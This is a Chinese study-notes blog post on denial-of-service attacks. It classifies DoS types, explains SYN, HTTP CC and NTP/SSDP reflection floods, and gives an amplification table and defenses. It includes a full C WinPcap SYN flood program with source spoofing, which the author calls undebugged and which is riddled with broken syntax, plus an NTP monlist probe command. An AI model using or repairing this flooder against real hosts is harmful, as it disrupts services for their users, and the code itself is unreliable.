小白网管进修笔记——拒绝服务攻击

拒绝服务攻击,Denial of Service,DoS

一、多对一对目标发起拒绝服务攻击:分布式拒绝服务攻击(Distributed Denial of Service,DDoS)

  分类:

  1)按目标:结点型(主机型 和 应用型)、网络连接型

  2)按攻击方式:资源破坏型、物理破坏型、服务终止型

  3)按受害者:服务器端、客户端

  4)直接、间接

  5)属类:攻击静态属性(针对基本属性,如控制方式、通信方式、原理、协议等)、攻击动态属性(目标、时间、源地址等动态改变的属性)、攻击交互属性(攻击与被攻击双向存在交互的,如目标对攻击的检测能力等)

  6)舞厅分类:舞伴类(与目标通信)、风暴类(发送大量数据阻断通信)、陷阱类(仅干扰目标正常通信)、介入类(切断正常用户到目标的通信,如修改DNS隐匿目标)

  7)攻击机制:剧毒(杀手)包型(针对目标系统/应用漏洞发送畸形包以至目标处理过程中崩溃,对本机算力、带宽等要求极低)、风暴型(发送大量包以耗尽系统/带宽资源)、重定向型(通过修改ARP表项或DNS缓存,重定向目标的进出包)

二、剧毒包型:

  早期TCP/IP协议栈存在不少漏洞,导致此类攻击流行。目前已较少出现。

  1、碎片攻击:又称泪滴攻击,利用低版本NT和Linux处理IP分片漏洞,向目标发送分片偏移地址异常的UDP引起目标崩溃或重启。

  2、Ping of Death:发送超长的PING包。目前大多数系统已限制Ping包长度,几乎没用

  3、Land:不断构造TCP SYN包,源和目的IP都是目标的IP,目标接到后会完成握手过程创建空连接,直到连接用完。攻击前提,端口状态为打开,避免目标发TCP RST终止三次握手过程

  4、循环攻击:利用两个都能产生输出的端口,连接起来,相互作为输入和输出,诱发大量数据包导致拒绝服务(也算是风暴型攻击)

三、风暴型:

  1、整个攻击过程:针对缓存溢出漏洞或系统安全配置漏洞,拿下一个或多个系统的控制权,安装DoS管理Handler;再次扫描拿下另一系统,安装DoS Agent;由Handler与Agent加密隐匿通信,指挥Agent对目标发起攻击。攻击使用的网络分组一般有以下几种:

    1)TCP floods,发送SYN、ACK、RST,尤其是SYN诱发目标为TCP连接分配内存。如Trinoo工具

    2)ICMPEcho(Ping floods)

    3)UDP floods,能够方便的伪造源地址,发送诸如NTP、SSDP、DNS等UDP包

    4)应用层协议,如HTTP/HTTPS、NTP、SSDP、DNS、SNMP

  攻击工具一般综合多种分组,同时改变源IP、源目端口或者其它头部字段,以达到各种便利。利用几点达成目的:1)TCP/IP漏洞;2)Best-Effort服务,不识别攻击流;3)没有认证机制,易被IP欺骗;4)数据包不易追踪出处;5)带宽及系统资源有限。风暴型分两种,直接风暴(控制主机向目标发起)、反射

  2、直接型:

    1)SYN Flood:伪造源地址向目标发送大量TCP SYN,但对目标的TCP SYN+ACK不作应答,诱使目标不断重试并SYN Timeout后丢弃半连接。一般超过1024个半连接后,不再接受新的连接请求。一般针对Web服务器。参考以下代码(代码还没经过调试):

/*
*====================================
*基于Winpcap的多线程SYN Flood
*vc6+winpcap SDK
*====================================
*/

#define WIN32_LEAN_AND_MEAN
#define _WSPIAPI_COUNTOF

#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <pcap.h>
#include <packet32.h>

#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wpcap.lib")
#pragma comment(lib,"packet.lib")

//目标的IP及端口
#define SYN_DEST_IP "192.168.1.14"
#define SYN_DEST_PORT 80
//伪装成的IP及MAC
#define FAKE_IP
#define FAKE_MAC

//内存对齐1
#pragma pack(1)
//ETH首部
typedef struct et_header
{
	unsigned chareh_dst[6];	//目的MAC
	unsigned chareh_src[6];	//源MAC
	unsigned shorteh_type;	//协议类型
}ET_HEADER;

//IP首部
typedef struct ip_hdr
{
	unsigned charh_verlen;		//版本&首部长度
	unsigned chartos;			//区分服务
	unsigned shorttotal_len;		//总长度
	unsigned shortident;		//标识
	unsignet shortfrag_and_flags;	//3位标志&13位片偏移
	unsigned charttl;			//生存时间
	unsigned charproto;			//协议
	unsigned shortchecksum;		//首部校验和
	unsigned intsourceIP;		//源IP
	unsigned intdestIP;			//目的IP
}IP_HEADER;

//TCP首部
typedef struct tcp_hdr
{
	unsigned shortth_sport;		//16位源端口
	unsigned shortth_dport;		//16位目的端口
	unsigned intth_seq;			//32位序列号
	unsigned intth_ack;			//32位确认号
	unsigned shortth_data_flag;	//16位标志号
	unsigned shortth_win;		//16位窗口大小
	unsigned shortth_sum;		//16位校验和
	unsigned shortth_urp;		//16位紧急数据偏移量
	unsigned intoption[OPTION_LENTH];
}TCP_HEDER;

//TCP伪首部
typedef struct psd_hdr
{
	unsigned long saddr;	//源地址
	unsigned logn daddr;	//目的地址
	char mbz;
	char ptcl;			//协议类型
	unsigned shorttcpl;		//TCP长度
}PSD_HEADER;

//最终SYN包结构
typedef struct _SYN_PACKET
{
	ET_HEADER eth;	//以太网首部
	IP_HEADER ph;	//IP首部
	TCP_HEADER tcph;	//TCP首部
}SYN_PACKET;

#pragma pack()

//传递给线程的参数体
typedef struct _PARAMETERS
{
	unsigned int srcIP;
	unsigned int dstIP;
	unsigned shortstPort;
	unsigned char * srcmac;
	unsigned char dstmac[6];
	pcap_t* adhandle;
}PARAMETERS,*LPPARAMETERS;

//获取网卡的MAC
unsigned char* GetSelfMac(char* pDevName)
{
	static u_char mac[6];
	memset(mac,0,sizeof(mac));
	LPADAPTER lpAdapter=PacketOpenAdapter(pDevName);
	if(!lpAdapter || (lpAdater->hFile ==INV ALID_HANDLE_VALUE))
	{
		return NULL;
	}
	
	PRACKET_OID_DATA OidData =
		(PRACKET_OID_DATA)malloc(6+sizeof(PACKET_OID_DATA));
	if(OidData==NULL)
	{
		PacketCloseAdapter(lpAdapter);
		return NULL;
	}
	
	OidData->Oid=OID_802_3_CURRENT_ADDRESS;
	OidData->Length=6;
	memset(OidData->Data,0,6);
	BOOLEAN Status=PacketRequest(lpAdapter,FALSE,OidData);
	if(Status)
	{
		memcpy(mac,(u_char*)(OidData->Data),6);
	}
	free(OidData);
	PacketCloseAdapter(lpAdapter);
	return mac;
}

//计算校验和
unsigned short CheckSum(unsigned short * buffet,int size)
{
	unsigned long cksum=0;
	while(size>1)
	{
		cksum += *buffer++;
		size -= sizeof(unsigned short);
	}
	if(size)
	{
		cksum += *(unsigned char *)buffer;
	}
	cksum=(cksum >> 16)+(cksum&0xffff);
	cksum+=(cksum>>16);
	
	return (unsigned short) (~cksum);
}

//封装ARP请求包
void BuildSYNPacket(SYN_PACKET &packet,
				unsigned char* source_mac,
				unsigned char* dest_mac,
				unsigned long srcIp,
				unsigned long destIp,
				unsigned short dstPort)
{
	PSD_HEADER PsdHeader;
	//定义ETH首部
	memcpy(packet.eth.eh_dst,dest_mac,6);
	memcpy(packet.eth.eh_src,source_mac,6);
	packet.eth.eh_type=htons(0x0800);	//定义协议类型0x0800
	//定义IP首部
	packet.iph.h_verlen=0;
	packet.iph.h_verlen=((4<<4)|sizeof(IP_HEADER)/sizeof(unsigned int));
	packet.iph.tos=0
	packet.iph.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
	packet.iph.ident=1;
	packet.iph.frag_and_flags=htons(1<<14);
	packet.iph.ttl=128;
	packet.iph.proto=IPPROTO_TCP;
	packet.iph.checksum=0;
	packet.iph.sourceIP=srcIp;
	packet.iph.destIP=destIp;
	//定义TCP首部
	packet.tcph.th_sport=htons(rand()%60000+1024);
	packet.tcph.th_dport=htons(dstPort);
	packet.tcph.th_seq=htonl(rand()%900000000+100000);
	packet.tcph.th_ack=0;
	packet.tcph.th_data_flag=0;
	packet.tcph.th_data_flag=(11<<4|2<<8);
	packet.tcph.th_win=htons(512);
	packet.tcph.th_sum=0;
	packet.tcph.th_urp=0;
	packet.tcph.option[0]=htonl(0x020405B4);
	packet.tcph.option[1]=htonl(0x01030303);
	packet.tcph.option[2]=htonl(0x0101080A);
	packet.tcph.option[3]=htonl(0x00000000);
	packet.tcph.option[4]=htonl(0x00000000);
	packet.tcph.option[5]=htonl(0x01010402);
	//构造伪头部
	PsdHeader.saddr=srcIp;
	psdHeader.daddr=packet.iph.destIP;
	PsdHeader.mbz=0;
	PsdHeader.ptcl=IPPROTO_TCP;
	PsdHeader.tcpl=htons(sizeof(TCP_HEADER));
	
	BYTE Buffer[sizeof(PsdHeader)+sizeof(TCP_HEADER)]={0};
	memcpy(Buffer,&PsdHeader,sizeof(PsdHeader));
	memcpy(Buffer+sizeof(PsdHeader),&packet.tcph,sizeof(TCP_HEADER));
	packet.tcph.th_sum=CheckSum((unsigned short *)Buffer,sizeof(PsdHeader)+sizeof(TCP_HEADER));
	memset(Buffer,0,sizeof(Buffer));
	memcpy(Buffer,&packet.iph,sizeof(IP_HEADER));
	packet.iph.checksum=CheckSum((unsigned short *)Buffer,sizeof(IP_HEADER));
	
	return;
}

//多线程发包
DWORD WINAPI SYNFloodThread(LPVOID lp)
{
	PARAMETERS param;
	param=*((LPPARAMETERS)lp);
	Sleep(10);
	while(true)
	{
		SYN_PACKET packet;
		BuildSYNPacket(packet,param.srcmac,param.dstmac,
					param.srcIP,param.dstIP,param.dstPort);
		if(pacp_sendpacket(param.adhandle,
						(const unsigned char*)&packet,
						sizeof(packet))==-1)
		{
			fprintf(stderr,"pacp_sendpacket error.\n");
		}
	}
	return 1;
}

int main(int argc,char* argv[])
{
	unsigned long fakeIp=inet_addr(FAKE_IP);	//要伪装成哪个IP
	if(fakeIp==INADDR_NONE)
	{
		fprintf(stderr,"Invalid IP:%s\n",FAKE_IP);
		return -1;
	}
	unsigned long destIp=inet_addr(SYN_DEST_IP);	//目的IP
	if(destIp==INADDR_NONE)
	{
		fprintf(stderr,"Invalid IP:%s\n",SYN_DEST_IP);
		return -1;
	}
	unsigned short dstPort=SYN_DEST_PORT;		//目的端口
	if(dstPort<0||dstPort>65535)
	{
		fprintf(stderr,"InvalidPort:%d\n",SYN_DEST_PORT);
		return -1;
	}
	
	pcap_if_t * alldevs;				//全部网卡列表
	pcap_if_t * d;					//一个网卡
	pcap_addr_t * pAddr;				//网卡地址
	char errbuf[PCAP_ERRBUF_SIZE];			//错误缓冲区
	if(pcap_findalldevs(&alldevs,errbuf)==-1)	//获取本机网卡列表
	{
		fprintf(stderr,"Error in pcab_findalldevs:%s\n",errbuf);
		exit(1);
	}
	
	int i=0;
	for(d=alldevs;d;d=d->next)
	{
		printf("%d",++i);
		if(d->description)
			printf(". %s\n",d->description);
		else
			printf(". Nodescription available\n");
	}
	if(i==0)
	{
		fprintf(stderr,"\nNo interfaces found! \n");
		return -1;
	}
	printf("Enter the interface number (1-%d):",i);
	
	int inum;		//用户选择的网卡序号
	scanf("%d",&inum);
	if(inum<1||inum>i)
	{
		printf("\nInterface number out of range. \n");
		pcap_freealldevs(alldevs);
		return -1;
	}
	
	HANDLE threadhandle[MAXTHREAD];
	PARAMETERS param;
	//设置目的MAC
	memcpy(param.dstmac,FAKE_MAC,6);
	//填充线程的参数体
	param.dstIP=destIp;
	param.srcIP=fakeIp;
	param.dstPort=dstPort;
	//移动指针到用户选择的网卡
	for(d=alldevs,i=0;i<inum-1;d=d->next,i++)
	param.srcmac=GetSelfMac(d->name);
	printf("发送SYN包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X)试图伪装成%s\n",
			param.srcmac[0],
			param.srcmac[1],
			param.srcmac[2],
			param.srcmac[3],
			param.srcmac[4],
			param.srcmac[5],FAKE_IP);
	if((param.adhandle=pcap_open_live(d->name,65536,0,1000,errbuf))==NULL)
	{
		fprintf(stderr,"\nUnable to open adapter. \n");
		pcap_freealldevs(alldevs);
		return -1;
	}
	pAddr=d->addresses;
	while(pAddr)
	{
		//创建多线程
		for(int i=0;i<MAXTHREAD;i++)
		{
			threadhandle[i]=CreateThread(NULL,0,SYNFloodThread,(void *)&param,0,NULL);
			if(!threadhandle)
			{
				printf("CreateThread Error : %d\n",GetLastError());
			}
			Sleep(100);
		}
		pAddr=pAddr->next;
	}
	printf("退出请输入Q或者q!\n");
	char cQuit;
	do {
		cQuit=getchar();
	}while(cQuit !='q' && cQuit !='Q');
	return 0;
}

    2)Ping风暴:利用“大量”主机,向目标发起ICMP,硬生生拖死目标

    3)TCP连接耗尽型:与SYN Flood攻击类似,也是发送TCP SYN,区别在于此方式完成三次握手,建立起TCP,并且通过大量的此类空连接完成攻击。优点在于不用像SYN Flood那样不停向目标发起连接请求,只需空连接到一定数量即可达到目的了。SYN Flood一旦停下来后,目标将会恢复,属可控操作。

    4)HTTP风暴:向目标发起合法的HTTP请求,在数据传输过程中占满带宽或者占用所有连接。缺点在于需要真实IP,工具为一整个僵尸网络或者大量僵尸主机。DDoS初期,有种防御手段Collapsar抗拒绝服务攻击系统,与之对应的手段为HTTP CC(也称HTTP代理攻击),原理如上。主要针对网页中的asp / php / jsp / cgi。攻击过程中,使用代理能在指令发出后隐藏自身、甚至绕过防火墙,同时代理能保持连接。

  3、反射型:不直接向目标发数据包,而通过中间主机(反射机)间接向目标发送大量包。比如利用目标的源地址向另一台或多台高速、高带宽服务器发送TCP SYN/ICMP Echo Request/UDP等,利用对方的回包进行攻击。优点在于无需大量僵尸网络,隐蔽、难追踪。反射结点也难以识别发起源是否恶意攻击。通常选用应答数据包远大于请求包的应用层协议实现攻击,如DNS、NTP、Chargen等。

协议 响应放大倍数 请求包
DNS 28-54 DNSQuery (QR=0)
NTP 206-556 Monlist request
SSDP 30.8 Search request
Chargen 358.8 Character Generation Request
SNMPv2 6.3 GetBulk request
NetBIOS 3.8 Name Resolution
QOTD 140.3 Quote request
BitTorrent 3.8 File search
Kad 16.3 Peer list exchange
Quake Network Protocol 63.9 Server information exchange
Steam Protocol 5.5 Server information exchange

  反射型直接或者间接利用了协议的无连接特性,使得源IP易被伪造,比较常用的是NTP、DNS、SSDP等:

    1)NTP反射式:

    Network Time Protocol,最新版本v4,采用C/S模型,用的UDP协议通过123端口进行通信,提供了monlist请求功能(MON_GETLIST)。当S收到monlist请求,将返回与S进行过时间同步的最后600个客户的IP地址,响应包每6个IP一组最多返回100个响应包(看到这里,不禁想起,不是可以用来查找网内活跃主机了吗?)linux系统下,“ntpdc -n -c monlist x.x.x.x | wc -l”命令向服务器发送monlist请求。(实验了一下,我所处网络下面的S大多已经不响应monlist请求了)

    算了一下,假如找到20万台合条件的S,每秒一个请求包:

    1包/s*200000主机*100回包*482字节/回包*8bit/字节~77Gbit/s

    攻击过程如下:扫描(找开放123以及NTP的S),利用僵尸网络伪装成目标向S发送monlist请求

    防御:网管侧-把NTP独立置于内网,禁用monlist功能或者通过重定向来限定某些源。用户侧则是短时间检测到大量monlist响应,呃,好像只能联系网管操作了吧?或者快速启用备用出口IP和MAC?

    2)SSDP反射式:

    UPnP通用即插即用协议,包括SSDP(Simple Service Discovery Protocol,简单服务发现)、GENA(Generic Event Notivication Architecture,通用事件通知结构)、SOAP(Simple Object Access Protocol,简单对象访问协议)和XML(Extensible Markup Language,可扩张标记语言),基于IP协议,保证独立于具体的网络传输物理介质。SSDP发现设备,SOAP使设备互操作,XML统一描述设备与服务,HTTP支撑与设备信息交互。

    当一个终端设备入网,向特定的多播地址239.255.255.250的SSDP端口(UDP 1900)使用M-SEARCH方法发送“ssdp:discover”消息。(未完待续)

posted @ 2020-08-07 19:48  liyilong  阅读(678)  评论(0编辑  收藏  举报